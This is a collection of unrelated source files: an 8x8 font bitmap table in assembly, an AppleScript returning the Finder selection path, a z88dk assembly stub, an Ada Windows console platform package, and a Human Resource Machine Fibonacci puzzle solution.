DB 0x00,0x00,0x00,0x00,0x00,0x20,0x20,0x40 ;044 / 0x2C - DB 0x00,0x00,0x00,0x78,0x00,0x00,0x00,0x00 ;045 / 0x2D - DB 0x00,0x00,0x00,0x00,0x00,0x60,0x60,0x00 ;046 / 0x2E - DB 0x00,0x00,0x08,0x10,0x20,0x40,0x80,0x00 ;047 / 0x2F - DB 0x70,0x88,0x98,0xA8,0xC8,0x88,0x70,0x00 ;048 / 0x30 - DB 0x20,0x60,0xA0,0x20,0x20,0x20,0xF8,0x00 ;049 / 0x31 - DB 0x70,0x88,0x08,0x10,0x60,0x80,0xF8,0x00 ;050 / 0x32 - DB 0x70,0x88,0x08,0x30,0x08,0x88,0x70,0x00 ;051 / 0x33 - DB 0x10,0x30,0x50,0x90,0xF8,0x10,0x10,0x00 ;052 / 0x34 - DB 0xF8,0x80,0xE0,0x10,0x08,0x10,0xE0,0x00 ;053 / 0x35 - DB 0x30,0x40,0x80,0xF0,0x88,0x88,0x70,0x00 ;054 / 0x36 - DB 0xF8,0x88,0x10,0x20,0x20,0x20,0x20,0x00 ;055 / 0x37 - DB 0x70,0x88,0x88,0x70,0x88,0x88,0x70,0x00 ;056 / 0x38 - DB 0x70,0x88,0x88,0x78,0x08,0x10,0x60,0x00 ;057 / 0x39 - DB 0x00,0x00,0x20,0x00,0x00,0x20,0x00,0x00 ;058 / 0x3A - DB 0x00,0x00,0x20,0x00,0x00,0x20,0x20,0x40 ;059 / 0x3B - DB 0x18,0x30,0x60,0xC0,0x60,0x30,0x18,0x00 ;060 / 0x3C - DB 0x00,0x00,0xF8,0x00,0xF8,0x00,0x00,0x00 ;061 / 0x3D - DB 0xC0,0x60,0x30,0x18,0x30,0x60,0xC0,0x00 ;062 / 0x3E - DB 0x70,0x88,0x08,0x10,0x20,0x00,0x20,0x00 ;063 / 0x3F - DB 0x70,0x88,0x08,0x68,0xA8,0xA8,0x70,0x00 ;064 / 0x40 - DB 0x20,0x50,0x88,0x88,0xF8,0x88,0x88,0x00 ;065 / 0x41 - DB 0xF0,0x48,0x48,0x70,0x48,0x48,0xF0,0x00 ;066 / 0x42 - DB 0x30,0x48,0x80,0x80,0x80,0x48,0x30,0x00 ;067 / 0x43 - DB 0xE0,0x50,0x48,0x48,0x48,0x50,0xE0,0x00 ;068 / 0x44 - DB 0xF8,0x80,0x80,0xF0,0x80,0x80,0xF8,0x00 ;069 / 0x45 - DB 0xF8,0x80,0x80,0xF0,0x80,0x80,0x80,0x00 ;070 / 0x46 - DB 0x70,0x88,0x80,0xB8,0x88,0x88,0x70,0x00 ;071 / 0x47 - DB 0x88,0x88,0x88,0xF8,0x88,0x88,0x88,0x00 ;072 / 0x48 - DB 0x70,0x20,0x20,0x20,0x20,0x20,0x70,0x00 ;073 / 0x49 - DB 0x38,0x10,0x10,0x10,0x90,0x90,0x60,0x00 ;074 / 0x4A - DB 0x88,0x90,0xA0,0xC0,0xA0,0x90,0x88,0x00 ;075 / 0x4B - DB 0x80,0x80,0x80,0x80,0x80,0x80,0xF8,0x00 ;076 / 0x4C - DB 0x88,0xD8,0xA8,0xA8,0x88,0x88,0x88,0x00 ;077 / 0x4D - DB 0x88,0xC8,0xC8,0xA8,0x98,0x98,0x88,0x00 ;078 / 0x4E - DB 0x70,0x88,0x88,0x88,0x88,0x88,0x70,0x00 ;079 / 0x4F - DB 0xF0,0x88,0x88,0xF0,0x80,0x80,0x80,0x00 ;080 / 0x50 - DB 0x70,0x88,0x88,0x88,0xA8,0x90,0x68,0x00 ;081 / 0x51 - DB 0xF0,0x88,0x88,0xF0,0xA0,0x90,0x88,0x00 ;082 / 0x52 - DB 0x70,0x88,0x80,0x70,0x08,0x88,0x70,0x00 ;083 / 0x53 - DB 0xF8,0x20,0x20,0x20,0x20,0x20,0x20,0x00 ;084 / 0x54 - DB 0x88,0x88,0x88,0x88,0x88,0x88,0x70,0x00 ;085 / 0x55 - DB 0x88,0x88,0x88,0x88,0x50,0x50,0x20,0x00 ;086 / 0x56 - DB 0x88,0x88,0x88,0xA8,0xA8,0xD8,0x88,0x00 ;087 / 0x57 - DB 0x88,0x88,0x50,0x20,0x50,0x88,0x88,0x00 ;088 / 0x58 - DB 0x88,0x88,0x88,0x70,0x20,0x20,0x20,0x00 ;089 / 0x59 - DB 0xF8,0x08,0x10,0x20,0x40,0x80,0xF8,0x00 ;090 / 0x5A - DB 0x70,0x40,0x40,0x40,0x40,0x40,0x70,0x00 ;091 / 0x5B - DB 0x00,0x00,0x80,0x40,0x20,0x10,0x08,0x00 ;092 / 0x5C - DB 0x70,0x10,0x10,0x10,0x10,0x10,0x70,0x00 ;093 / 0x5D - DB 0x20,0x50,0x88,0x00,0x00,0x00,0x00,0x00 ;094 / 0x5E - DB 0x00,0x00,0x00,0x00,0x00,0x00,0xF8,0x00 ;095 / 0x5F - DB 0x40,0x20,0x10,0x00,0x00,0x00,0x00,0x00 ;096 / 0x60 - DB 0x00,0x00,0x70,0x08,0x78,0x88,0x78,0x00 ;097 / 0x61 - DB 0x80,0x80,0xB0,0xC8,0x88,0xC8,0xB0,0x00 ;098 / 0x62 - DB 0x00,0x00,0x70,0x88,0x80,0x88,0x70,0x00 ;099 / 0x63 - DB 0x08,0x08,0x68,0x98,0x88,0x98,0x68,0x00 ;100 / 0x64 - DB 0x00,0x00,0x70,0x88,0xF8,0x80,0x70,0x00 ;101 / 0x65 - DB 0x10,0x28,0x20,0xF8,0x20,0x20,0x20,0x00 ;102 / 0x66 - DB 0x00,0x00,0x68,0x98,0x98,0x68,0x08,0x70 ;103 / 0x67 - DB 0x80,0x80,0xF0,0x88,0x88,0x88,0x88,0x00 ;104 / 0x68 - DB 0x20,0x00,0x60,0x20,0x20,0x20,0x70,0x00 ;105 / 0x69 - DB 0x10,0x00,0x30,0x10,0x10,0x10,0x90,0x60 ;106 / 0x6A - DB 0x40,0x40,0x48,0x50,0x60,0x50,0x48,0x00 ;107 / 0x6B - DB 0x60,0x20,0x20,0x20,0x20,0x20,0x70,0x00 ;108 / 0x6C - DB 0x00,0x00,0xD0,0xA8,0xA8,0xA8,0xA8,0x00 ;109 / 0x6D - DB 0x00,0x00,0xB0,0xC8,0x88,0x88,0x88,0x00 ;110 / 0x6E - DB 0x00,0x00,0x70,0x88,0x88,0x88,0x70,0x00 ;111 / 0x6F - DB 0x00,0x00,0xB0,0xC8,0xC8,0xB0,0x80,0x80 ;112 / 0x70 - DB 0x00,0x00,0x68,0x98,0x98,0x68,0x08,0x08 ;113 / 0x71 - DB 0x00,0x00,0xB0,0xC8,0x80,0x80,0x80,0x00 ;114 / 0x72 - DB 0x00,0x00,0x78,0x80,0xF0,0x08,0xF0,0x00 ;115 / 0x73 - DB 0x40,0x40,0xF0,0x40,0x40,0x48,0x30,0x00 ;116 / 0x74 - DB 0x00,0x00,0x90,0x90,0x90,0x90,0x68,0x00 ;117 / 0x75 - DB 0x00,0x00,0x88,0x88,0x88,0x50,0x20,0x00 ;118 / 0x76 - DB 0x00,0x00,0x88,0xA8,0xA8,0xA8,0x50,0x00 ;119 / 0x77 - DB 0x00,0x00,0x88,0x50,0x20,0x50,0x88,0x00 ;120 / 0x78 - DB 0x00,0x00,0x88,0x88,0x98,0x68,0x08,0x70 ;121 / 0x79 - DB 0x00,0x00,0xF8,0x10,0x20,0x40,0xF8,0x00 ;122 / 0x7A - DB 0x18,0x20,0x20,0x40,0x20,0x20,0x18,0x00 ;123 / 0x7B - DB 0x20,0x20,0x20,0x00,0x20,0x20,0x20,0x00 ;124 / 0x7C - DB 0xC0,0x20,0x20,0x10,0x20,0x20,0xC0,0x00 ;125 / 0x7D - DB 0x40,0xA8,0x10,0x00,0x00,0x00,0x00,0x00 ;126 / 0x7E - DB 0x00,0x20,0x50,0x88,0x88,0x88,0xF8,0x00 ;127 / 0x7F - DB 0x70,0x88,0x80,0x80,0x88,0x70,0x20,0x60 ;128 / 0x80 - DB 0x90,0x00,0x00,0x90,0x90,0x90,0x68,0x00 ;129 / 0x81 - DB 0x10,0x20,0x70,0x88,0xF8,0x80,0x70,0x00 ;130 / 0x82 - DB 0x20,0x50,0x70,0x08,0x78,0x88,0x78,0x00 ;131 / 0x83 - DB 0x48,0x00,0x70,0x08,0x78,0x88,0x78,0x00 ;132 / 0x84 - DB 0x20,0x10,0x70,0x08,0x78,0x88,0x78,0x00 ;133 / 0x85 - DB 0x20,0x00,0x70,0x08,0x78,0x88,0x78,0x00 ;134 / 0x86 - DB 0x00,0x70,0x80,0x80,0x80,0x70,0x10,0x60 ;135 / 0x87 - DB 0x20,0x50,0x70,0x88,0xF8,0x80,0x70,0x00 ;136 / 0x88 - DB 0x50,0x00,0x70,0x88,0xF8,0x80,0x70,0x00 ;137 / 0x89 - DB 0x20,0x10,0x70,0x88,0xF8,0x80,0x70,0x00 ;138 / 0x8A - DB 0x50,0x00,0x00,0x60,0x20,0x20,0x70,0x00 ;139 / 0x8B - DB 0x20,0x50,0x00,0x60,0x20,0x20,0x70,0x00 ;140 / 0x8C - DB 0x40,0x20,0x00,0x60,0x20,0x20,0x70,0x00 ;141 / 0x8D - DB 0x50,0x00,0x20,0x50,0x88,0xF8,0x88,0x00 ;142 / 0x8E - DB 0x20,0x00,0x20,0x50,0x88,0xF8,0x88,0x00 ;143 / 0x8F - DB 0x10,0x20,0xF8,0x80,0xF0,0x80,0xF8,0x00 ;144 / 0x90 - DB 0x00,0x00,0x6C,0x10,0x7C,0x90,0x6C,0x00 ;145 / 0x91 - DB 0x3C,0x50,0x90,0x9C,0xF0,0x90,0x9C,0x00 ;146 / 0x92 - DB 0x60,0x90,0x00,0x60,0x90,0x90,0x60,0x00 ;147 / 0x93 - DB 0x90,0x00,0x00,0x60,0x90,0x90,0x60,0x00 ;148 / 0x94 - DB 0x40,0x20,0x00,0x60,0x90,0x90,0x60,0x00 ;149 / 0x95 - DB 0x40,0xA0,0x00,0xA0,0xA0,0xA0,0x50,0x00 ;150 / 0x96 - DB 0x40,0x20,0x00,0xA0,0xA0,0xA0,0x50,0x00 ;151 / 0x97 - DB 0x90,0x00,0x90,0x90,0xB0,0x50,0x10,0xE0 ;152 / 0x98 - DB 0x50,0x00,0x70,0x88,0x88,0x88,0x70,0x00 ;153 / 0x99 - DB 0x50,0x00,0x88,0x88,0x88,0x88,0x70,0x00 ;154 / 0x9A - DB 0x20,0x20,0x78,0x80,0x80,0x78,0x20,0x20 ;155 / 0x9B - DB 0x18,0x24,0x20,0xF8,0x20,0xE0,0x5C,0x00 ;156 / 0x9C - DB 0x88,0x50,0x20,0xF8,0x20,0xF8,0x20,0x00 ;157 / 0x9D - DB 0xC0,0xA0,0xA0,0xC8,0x9C,0x88,0x88,0x8C ;158 / 0x9E - DB 0x18,0x20,0x20,0xF8,0x20,0x20,0x20,0x40 ;159 / 0x9F - DB 0x10,0x20,0x70,0x08,0x78,0x88,0x78,0x00 ;160 / 0xA0 - DB 0x10,0x20,0x00,0x60,0x20,0x20,0x70,0x00 ;161 / 0xA1 - DB 0x20,0x40,0x00,0x60,0x90,0x90,0x60,0x00 ;162 / 0xA2 - DB 0x20,0x40,0x00,0x90,0x90,0x90,0x68,0x00 ;163 / 0xA3 - DB 0x50,0xA0,0x00,0xA0,0xD0,0x90,0x90,0x00 ;164 / 0xA4 - DB 0x28,0x50,0x00,0xC8,0xA8,0x98,0x88,0x00 ;165 / 0xA5 - DB 0x00,0x70,0x08,0x78,0x88,0x78,0x00,0xF8 ;166 / 0xA6 - DB 0x00,0x60,0x90,0x90,0x90,0x60,0x00,0xF0 ;167 / 0xA7 - DB 0x20,0x00,0x20,0x40,0x80,0x88,0x70,0x00 ;168 / 0xA8 - DB 0x00,0x00,0x00,0xF8,0x80,0x80,0x00,0x00 ;169 / 0xA9 - DB 0x00,0x00,0x00,0xF8,0x08,0x08,0x00,0x00 ;170 / 0xAA - DB 0x84,0x88,0x90,0xA8,0x54,0x84,0x08,0x1C ;171 / 0xAB - DB 0x84,0x88,0x90,0xA8,0x58,0xA8,0x3C,0x08 ;172 / 0xAC - DB 0x20,0x00,0x00,0x20,0x20,0x20,0x20,0x00 ;173 / 0xAD - DB 0x00,0x00,0x24,0x48,0x90,0x48,0x24,0x00 ;174 / 0xAE - DB 0x00,0x00,0x90,0x48,0x24,0x48,0x90,0x00 ;175 / 0xAF - DB 0x90,0x48,0x24,0x90,0x48,0x24,0x90,0x48 ;176 / 0xB0 - DB 0xA8,0x54,0xA8,0x54,0xA8,0x54,0xA8,0x54 ;177 / 0xB1 - DB 0x6C,0xB4,0xD8,0x6C,0xB4,0xD8,0x6C,0xB4 ;178 / 0xB2 - DB 0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ;179 / 0xB3 - DB 0x20,0x20,0x20,0xE0,0x20,0x20,0x20,0x20 ;180 / 0xB4 - DB 0x20,0x20,0xE0,0x20,0xE0,0x20,0x20,0x20 ;181 / 0xB5 - DB 0x50,0x50,0x50,0xD0,0x50,0x50,0x50,0x50 ;182 / 0xB6 - DB 0x00,0x00,0x00,0xF0,0x50,0x50,0x50,0x50 ;183 / 0xB7 - DB 0x00,0x00,0xE0,0x20,0xE0,0x20,0x20,0x20 ;184 / 0xB8 - DB 0x50,0x50,0xD0,0x10,0xD0,0x50,0x50,0x50 ;185 / 0xB9 - DB 0x50,0x50,0x50,0x50,0x50,0x50,0x50,0x50 ;186 / 0xBA - DB 0x00,0x00,0xF0,0x10,0xD0,0x50,0x50,0x50 ;187 / 0xBB - DB 0x50,0x50,0xD0,0x10,0xF0,0x00,0x00,0x00 ;188 / 0xBC - DB 0x50,0x50,0x50,0xF0,0x00,0x00,0x00,0x00 ;189 / 0xBD - DB 0x20,0x20,0xE0,0x20,0xE0,0x00,0x00,0x00 ;190 / 0xBE - DB 0x00,0x00,0x00,0xE0,0x20,0x20,0x20,0x20 ;191 / 0xBF - DB 0x20,0x20,0x20,0x3C,0x00,0x00,0x00,0x00 ;192 / 0xC0 - DB 0x20,0x20,0x20,0xFC,0x00,0x00,0x00,0x00 ;193 / 0xC1 - DB 0x00,0x00,0x00,0xFC,0x20,0x20,0x20,0x20 ;194 / 0xC2 - DB 0x20,0x20,0x20,0x3C,0x20,0x20,0x20,0x20 ;195 / 0xC3 - DB 0x00,0x00,0x00,0xFC,0x00,0x00,0x00,0x00 ;196 / 0xC4 - DB 0x20,0x20,0x20,0xFC,0x20,0x20,0x20,0x20 ;197 / 0xC5 - DB 0x20,0x20,0x3C,0x20,0x3C,0x20,0x20,0x20 ;198 / 0xC6 - DB 0x50,0x50,0x50,0x5C,0x50,0x50,0x50,0x50 ;199 / 0xC7 - DB 0x50,0x50,0x5C,0x40,0x7C,0x00,0x00,0x00 ;200 / 0xC8 - DB 0x00,0x00,0x7C,0x40,0x5C,0x50,0x50,0x50 ;201 / 0xC9 - DB 0x50,0x50,0xDC,0x00,0xFC,0x00,0x00,0x00 ;202 / 0xCA - DB 0x00,0x00,0xFC,0x00,0xDC,0x50,0x50,0x50 ;203 / 0xCB - DB 0x50,0x50,0x5C,0x40,0x5C,0x50,0x50,0x50 ;204 / 0xCC - DB 0x00,0x00,0xFC,0x00,0xFC,0x00,0x00,0x00 ;205 / 0xCD - DB 0x50,0x50,0xDC,0x00,0xDC,0x50,0x50,0x50 ;206 / 0xCE - DB 0x20,0x20,0xFC,0x00,0xFC,0x00,0x00,0x00 ;207 / 0xCF - DB 0x50,0x50,0x50,0xFC,0x00,0x00,0x00,0x00 ;208 / 0xD0 - DB 0x00,0x00,0xFC,0x00,0xFC,0x20,0x20,0x20 ;209 / 0xD1 - DB 0x00,0x00,0x00,0xFC,0x50,0x50,0x50,0x50 ;210 / 0xD2 - DB 0x50,0x50,0x50,0x7C,0x00,0x00,0x00,0x00 ;211 / 0xD3 - DB 0x20,0x20,0x3C,0x20,0x3C,0x00,0x00,0x00 ;212 / 0xD4 - DB 0x00,0x00,0x3C,0x20,0x3C,0x20,0x20,0x20 ;213 / 0xD5 - DB 0x00,0x00,0x00,0x7C,0x50,0x50,0x50,0x50 ;214 / 0xD6 - DB 0x50,0x50,0x50,0xFC,0x50,0x50,0x50,0x50 ;215 / 0xD7 - DB 0x20,0x20,0xFC,0x20,0xFC,0x20,0x20,0x20 ;216 / 0xD8 - DB 0x20,0x20,0x20,0xE0,0x00,0x00,0x00,0x00 ;217 / 0xD9 - DB 0x00,0x00,0x00,0x3C,0x20,0x20,0x20,0x20 ;218 / 0xDA - DB 0xFC,0xFC,0xFC,0xFC,0xFC,0xFC,0xFC,0xFC ;219 / 0xDB - DB 0x00,0x00,0x00,0x00,0xFC,0xFC,0xFC,0xFC ;220 / 0xDC - DB 0xE0,0xE0,0xE0,0xE0,0xE0,0xE0,0xE0,0xE0 ;221 / 0xDD - DB 0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C ;222 / 0xDE - DB 0xFC,0xFC,0xFC,0xFC,0x00,0x00,0x00,0x00 ;223 / 0xDF - DB 0x00,0x00,0x68,0x90,0x90,0x90,0x68,0x00 ;224 / 0xE0 - DB 0x30,0x48,0x48,0x70,0x48,0x48,0x70,0xC0 ;225 / 0xE1 - DB 0xF8,0x88,0x80,0x80,0x80,0x80,0x80,0x00 ;226 / 0xE2 - DB 0xF8,0x50,0x50,0x50,0x50,0x50,0x98,0x00 ;227 / 0xE3 - DB 0xF8,0x88,0x40,0x20,0x40,0x88,0xF8,0x00 ;228 / 0xE4 - DB 0x00,0x00,0x78,0x90,0x90,0x90,0x60,0x00 ;229 / 0xE5 - DB 0x00,0x50,0x50,0x50,0x50,0x68,0x80,0x80 ;230 / 0xE6 - DB 0x00,0x50,0xA0,0x20,0x20,0x20,0x20,0x00 ;231 / 0xE7 - DB 0xF8,0x20,0x70,0xA8,0xA8,0x70,0x20,0xF8 ;232 / 0xE8 - DB 0x20,0x50,0x88,0xF8,0x88,0x50,0x20,0x00 ;233 / 0xE9 - DB 0x70,0x88,0x88,0x88,0x50,0x50,0xD8,0x00 ;234 / 0xEA - DB 0x30,0x40,0x40,0x20,0x50,0x50,0x50,0x20 ;235 / 0xEB - DB 0x00,0x00,0x00,0x50,0xA8,0xA8,0x50,0x00 ;236 / 0xEC - DB 0x08,0x70,0xA8,0xA8,0xA8,0x70,0x80,0x00 ;237 / 0xED - DB 0x38,0x40,0x80,0xF8,0x80,0x40,0x38,0x00 ;238 / 0xEE - DB 0x70,0x88,0x88,0x88,0x88,0x88,0x88,0x00 ;239 / 0xEF - DB 0x00,0xF8,0x00,0xF8,0x00,0xF8,0x00,0x00 ;240 / 0xF0 - DB 0x20,0x20,0xF8,0x20,0x20,0x00,0xF8,0x00 ;241 / 0xF1 - DB 0xC0,0x30,0x08,0x30,0xC0,0x00,0xF8,0x00 ;242 / 0xF2 - DB 0x18,0x60,0x80,0x60,0x18,0x00,0xF8,0x00 ;243 / 0xF3 - DB 0x10,0x28,0x20,0x20,0x20,0x20,0x20,0x20 ;244 / 0xF4 - DB 0x20,0x20,0x20,0x20,0x20,0x20,0xA0,0x40 ;245 / 0xF5 - DB 0x00,0x20,0x00,0xF8,0x00,0x20,0x00,0x00 ;246 / 0xF6 - DB 0x00,0x50,0xA0,0x00,0x50,0xA0,0x00,0x00 ;247 / 0xF7 - DB 0x00,0x18,0x24,0x24,0x18,0x00,0x00,0x00 ;248 / 0xF8 - DB 0x00,0x30,0x78,0x78,0x30,0x00,0x00,0x00 ;249 / 0xF9 - DB 0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x00 ;250 / 0xFA - DB 0x04,0x04,0x08,0x08,0x90,0x70,0x20,0x00 ;251 / 0xFB - DB 0xA0,0x50,0x50,0x50,0x00,0x00,0x00,0x00 ;252 / 0xFC - DB 0x40,0xA0,0x20,0x40,0xE0,0x00,0x00,0x00 ;253 / 0xFD - DB 0x00,0x00,0x30,0x30,0x30,0x30,0x00,0x00 ;254 / 0xFE - DB 0xFC,0xFC,0xFC,0xFC,0xFC,0xFC,0xFC,0xFC ;255 / 0xFF -
src/getpath.scpt
jiangfengbing/pic2alioss
1
683
#!/usr/bin/osascript activate application "SystemUIServer" tell application "Finder" activate return get POSIX path of (get selection as «class furl») end tell
libsrc/_DEVELOPMENT/arch/ts2068/display/c/sdcc/tshc_aaddr2py.asm
jpoikela/z88dk
640
95496
<filename>libsrc/_DEVELOPMENT/arch/ts2068/display/c/sdcc/tshc_aaddr2py.asm ; uchar tshc_aaddr2py(void *aaddr) SECTION code_clib SECTION code_arch PUBLIC _tshc_aaddr2py EXTERN _zx_saddr2py defc _tshc_aaddr2py = _zx_saddr2py
src/windows/trendy_terminal-platform.adb
pyjarrett/archaic_terminal
3
9042
------------------------------------------------------------------------------- -- Copyright 2021, The Trendy Terminal Developers (see AUTHORS file) -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- http://www.apache.org/licenses/LICENSE-2.0 -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ------------------------------------------------------------------------------- with Ada.Characters.Latin_1; with Ada.Text_IO; with Ada.Unchecked_Conversion; with Interfaces.C.Strings; with Trendy_Terminal.VT100; with Trendy_Terminal.Windows; package body Trendy_Terminal.Platform is package Win renames Trendy_Terminal.Windows; use all type ASU.Unbounded_String; use type Win.BOOL; use type Win.HANDLE; --------------------------------------------------------------------------- -- Original settings --------------------------------------------------------------------------- Input_Settings, Output_Settings, Error_Settings : Win.DWORD; Original_Input_CP, Original_Output_CP : Win.UINT; type Input_Stream is record Handle : Win.HANDLE := Win.INVALID_HANDLE_VALUE; Settings : Win.Console_Input_Mode := Win.To_Console_Input_Mode (0); end record; type Output_Stream is record Handle : Win.HANDLE := Win.INVALID_HANDLE_VALUE; Settings : Win.Console_Output_Mode := Win.To_Console_Output_Mode (0); end record; --------------------------------------------------------------------------- -- The triad of I/O streams. --------------------------------------------------------------------------- Std_Input : Input_Stream; Std_Output, Std_Error : Output_Stream; --------------------------------------------------------------------------- -- Output --------------------------------------------------------------------------- procedure Put (H : Win.Handle; C : Character) is S : constant String := (1 => C); Native : aliased Interfaces.C.Strings.chars_ptr := Interfaces.C.Strings.New_String(S); Written : aliased Win.DWORD; begin if Win.WriteFile (H, Win.LPCVOID(Native), S'Length, Written'Unchecked_Access, 0) = 0 then null; end if; Interfaces.C.Strings.Free(Native); end Put; procedure Put(C : Character) is begin Put (Std_Output.Handle, C); end Put; procedure Put(S : String) is Native : aliased Interfaces.C.Strings.chars_ptr := Interfaces.C.Strings.New_String(S); Written : aliased Win.DWORD; begin if Win.WriteFile (Std_Output.Handle, Win.LPCVOID(Native), S'Length, Written'Unchecked_Access, 0) = 0 then null; end if; Interfaces.C.Strings.Free(Native); end Put; --------------------------------------------------------------------------- -- Start and Shutdown --------------------------------------------------------------------------- function Load_Std_Settings return Boolean is Input_DWORD, Output_DWORD, Error_DWORD : aliased Win.DWORD; begin if Win.GetConsoleMode (Std_Input.Handle, Input_DWORD'Unchecked_Access) = 0 then return False; end if; if Win.GetConsoleMode (Std_Output.Handle, Output_DWORD'Unchecked_Access) = 0 then return False; end if; if Win.GetConsoleMode (Std_Error.Handle, Error_DWORD'Unchecked_Access) = 0 then return False; end if; Std_Input.Settings := Win.To_Console_Input_Mode (Input_DWORD); Std_Output.Settings := Win.To_Console_Output_Mode (Output_DWORD); Std_Error.Settings := Win.To_Console_Output_Mode (Error_DWORD); return True; end Load_Std_Settings; function Enable_UTF8 return Boolean is begin return Win.SetConsoleCP (Win.CP_UTF8) /= 0 and then Win.SetConsoleOutputCP (Win.CP_UTF8) /= 0; end Enable_UTF8; function Init return Boolean is begin Std_Output.Handle := Win.GetStdHandle (Win.STD_OUTPUT_HANDLE); Std_Input.Handle := Win.GetStdHandle (Win.STD_INPUT_HANDLE); Std_Error.Handle := Win.GetStdHandle (Win.STD_ERROR_HANDLE); if Std_Output.Handle = Win.INVALID_HANDLE_VALUE or else Std_Input.Handle = Win.INVALID_HANDLE_VALUE or else Std_Error.Handle = Win.INVALID_HANDLE_VALUE then Ada.Text_IO.Put_Line ("Unable to get one or more of in/out/err handles."); return False; end if; if not Load_Std_Settings then return False; end if; -- Save the initial settings to be restored later. Input_Settings := Win.To_DWORD (Std_Input.Settings); Output_Settings := Win.To_DWORD (Std_Output.Settings); Error_Settings := Win.To_DWORD (Std_Error.Settings); Original_Input_CP := Win.GetConsoleCP; Original_Output_CP := Win.GetConsoleOutputCP; if not Enable_UTF8 then Ada.Text_IO.Put_Line ("Unable to set UTF8 code page."); return False; end if; return True; end Init; procedure Shutdown is begin if Win.SetConsoleMode (Std_Input.Handle, Input_Settings) = 0 or else Win.SetConsoleMode (Std_Output.Handle, Output_Settings) = 0 or else Win.SetConsoleMode (Std_Error.Handle, Error_Settings) = 0 then Ada.Text_IO.Put_Line ("Unable to restore all terminal settings to originals."); end if; if Win.SetConsoleCP (Original_Input_CP) = 0 or else Win.SetConsoleOutputCP (Original_Output_CP) = 0 then Ada.Text_IO.Put_Line ("Unable to restore original terminal code page."); end if; end Shutdown; procedure Apply (Input : Input_Stream) is begin if Win.SetConsoleMode(Input.Handle, Win.To_DWORD(Input.Settings)) = 0 then Ada.Text_IO.Put_Line ("Unable to change console modes: ERROR#" & Win.GetLastError'Image); end if; end Apply; procedure Apply (Output : Output_Stream) is begin if Win.SetConsoleMode(Output.Handle, Win.To_DWORD(Output.Settings)) = 0 then Ada.Text_IO.Put_Line ("Unable to change console modes: ERROR# " & Win.GetLastError'Image); end if; end Apply; procedure Set (Setting : Input_Setting; Enabled : Boolean) is begin case Setting is when Echo => Std_Input.Settings (Win.ENABLE_ECHO_INPUT) := Enabled; Apply(Std_Input); when Line_Input => Std_Input.Settings (Win.ENABLE_LINE_INPUT) := Enabled; Apply(Std_Input); when Signals_As_Input => Std_Input.Settings (Win.ENABLE_PROCESSED_INPUT) := not Enabled; Apply(Std_Input); end case; end Set; procedure Set (Setting : Output_Setting; Enabled : Boolean) is begin case Setting is when Escape_Sequences => Std_Output.Settings (Win.ENABLE_VIRTUAL_TERMINAL_PROCESSING) := Enabled; Std_Output.Settings (Win.ENABLE_WRAP_AT_EOL_OUTPUT) := True; Std_Output.Settings (Win.DISABLE_NEWLINE_AUTO_RETURN) := False; Std_Output.Settings (Win.ENABLE_PROCESSED_OUTPUT) := True; Std_Error.Settings (Win.ENABLE_VIRTUAL_TERMINAL_PROCESSING) := Enabled; Std_Error.Settings (Win.ENABLE_WRAP_AT_EOL_OUTPUT) := True; Std_Error.Settings (Win.DISABLE_NEWLINE_AUTO_RETURN) := False; Std_Error.Settings (Win.ENABLE_PROCESSED_OUTPUT) := True; Std_Input.Settings (Win.ENABLE_VIRTUAL_TERMINAL_INPUT) := Enabled; Apply(Std_Input); Apply(Std_Output); Apply(Std_Error); end case; end Set; --------------------------------------------------------------------------- -- Inputs --------------------------------------------------------------------------- -- Gets an entire input line from one keypress. E.g. all the characters -- received for a controlling keypress, such as an arrow key. function Get_Input return String is Buffer_Size : constant := 512; Buffer : aliased Interfaces.C.char_array := (1 .. Interfaces.C.size_t(Buffer_Size) => Interfaces.C.nul); Chars_Read : aliased Win.DWORD; use all type Interfaces.C.size_t; begin if Win.ReadConsoleA (Std_Input.Handle, Win.LPVOID(Interfaces.C.Strings.To_Chars_Ptr(Buffer'Unchecked_Access)), Buffer_Size, Chars_Read'Unchecked_Access, 0) /= 0 then return Interfaces.C.To_Ada(Buffer(1 .. Interfaces.C.size_t(Chars_Read) + 1)); else return ""; end if; end Get_Input; function End_Of_Line return String is begin return Ada.Characters.Latin_1.CR & Ada.Characters.Latin_1.LF; end End_Of_Line; procedure Print_Configuration is begin Ada.Text_IO.Put_Line ("Input Mode: " & Win.To_DWORD (Std_Input.Settings)'Image); Ada.Text_IO.Put_Line ("Output Mode: " & Win.To_DWORD (Std_Output.Settings)'Image); Ada.Text_IO.Put_Line ("Error Mode: " & Win.To_DWORD (Std_Error.Settings)'Image); end Print_Configuration; end Trendy_Terminal.Platform;
solutions/22-fibonacci visitor/precomputed series - speed optimized.asm
Ernesto-Alvarez/HRM-Puzzles
0
19225
-- HUMAN RESOURCE MACHINE PROGRAM -- COMMENT 0 BUMPUP 9 COPYTO 0 COPYTO 1 ADD 0 COPYTO 2 ADD 1 COPYTO 3 ADD 2 COPYTO 4 ADD 3 COPYTO 5 ADD 4 COPYTO 6 ADD 5 COPYTO 7 ADD 6 COPYTO 8 COMMENT 1 a: b: c: d: e: f: g: h: i: INBOX COPYTO 9 SUB 1 JUMPN i COPYFROM 0 OUTBOX COPYFROM 1 OUTBOX COPYFROM 9 SUB 2 JUMPN h COPYFROM 2 OUTBOX COPYFROM 9 SUB 3 JUMPN f COPYFROM 3 OUTBOX COPYFROM 9 SUB 4 JUMPN e COPYFROM 4 OUTBOX COPYFROM 9 SUB 5 JUMPN g COPYFROM 5 OUTBOX COPYFROM 9 SUB 6 JUMPN d COPYFROM 6 OUTBOX COPYFROM 9 SUB 7 JUMPN c COPYFROM 7 OUTBOX COPYFROM 9 SUB 8 JUMPN b COPYFROM 8 OUTBOX JUMP a DEFINE COMMENT 0 eJyzYWBgEDB67G6jt9TZWm2aU63MEdcACSavzYJvIufyRyS+5vuSncp1rWcTZ9RyXV6TbS78TbvniUef 4pWqOvNGLvu0pPK/w4Ea7w491m3aPVUveAfQOIYdjpmtuVGRLaJJyzt3J4pumRXXtDsp8v7Bo0F8R//4 /zvc6ztxj4nvt41NIZUr5aO9l4H0OJdZxs8py2xdXq48KbVy/5x9laJblKoP7L9SveMCSH7BvKRpZ2ZN 